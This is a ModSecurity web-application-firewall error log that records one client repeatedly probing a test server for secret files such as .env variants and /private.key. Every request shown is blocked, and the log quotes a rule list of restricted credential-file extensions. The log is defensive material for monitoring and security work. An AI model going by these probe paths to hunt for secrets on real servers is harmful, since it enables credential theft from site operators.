[Wed Feb 25 06:05:29.370843 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXuAAAAAQ&quot;]
[Wed Feb 25 06:05:29.406586 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/chatroom/chatroom-spa/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXuQAAAAQ&quot;]
[Wed Feb 25 06:05:29.406885 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXuQAAAAQ&quot;]
[Wed Feb 25 06:05:29.407100 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXuQAAAAQ&quot;]
[Wed Feb 25 06:05:29.423082 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEwAAAAA&quot;]
[Wed Feb 25 06:05:29.423393 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEwAAAAA&quot;]
[Wed Feb 25 06:05:29.423601 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibEwAAAAA&quot;]
[Wed Feb 25 06:05:29.466616 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/docker/deploymentscripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXugAAAAQ&quot;]
[Wed Feb 25 06:05:29.466923 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXugAAAAQ&quot;]
[Wed Feb 25 06:05:29.467123 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXugAAAAQ&quot;]
[Wed Feb 25 06:05:29.529754 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFAAAAAA&quot;]
[Wed Feb 25 06:05:29.530371 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFAAAAAA&quot;]
[Wed Feb 25 06:05:29.530576 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFAAAAAA&quot;]
[Wed Feb 25 06:05:29.573345 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /processor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFQAAAAA&quot;]
[Wed Feb 25 06:05:29.573616 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFQAAAAA&quot;]
[Wed Feb 25 06:05:29.573794 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFQAAAAA&quot;]
[Wed Feb 25 06:05:29.658031 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /script/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvAAAAAQ&quot;]
[Wed Feb 25 06:05:29.658302 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvAAAAAQ&quot;]
[Wed Feb 25 06:05:29.658482 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvAAAAAQ&quot;]
[Wed Feb 25 06:05:29.685022 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvQAAAAQ&quot;]
[Wed Feb 25 06:05:29.685297 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvQAAAAQ&quot;]
[Wed Feb 25 06:05:29.685473 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvQAAAAQ&quot;]
[Wed Feb 25 06:05:29.748917 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFwAAAAA&quot;]
[Wed Feb 25 06:05:29.749187 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFwAAAAA&quot;]
[Wed Feb 25 06:05:29.749379 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibFwAAAAA&quot;]
[Wed Feb 25 06:05:29.767842 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/fvt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvgAAAAQ&quot;]
[Wed Feb 25 06:05:29.768092 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvgAAAAQ&quot;]
[Wed Feb 25 06:05:29.768247 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXvgAAAAQ&quot;]
[Wed Feb 25 06:05:29.875844 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /product/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGAAAAAA&quot;]
[Wed Feb 25 06:05:29.876084 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGAAAAAA&quot;]
[Wed Feb 25 06:05:29.876263 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGAAAAAA&quot;]
[Wed Feb 25 06:05:29.936159 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secrets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXwQAAAAQ&quot;]
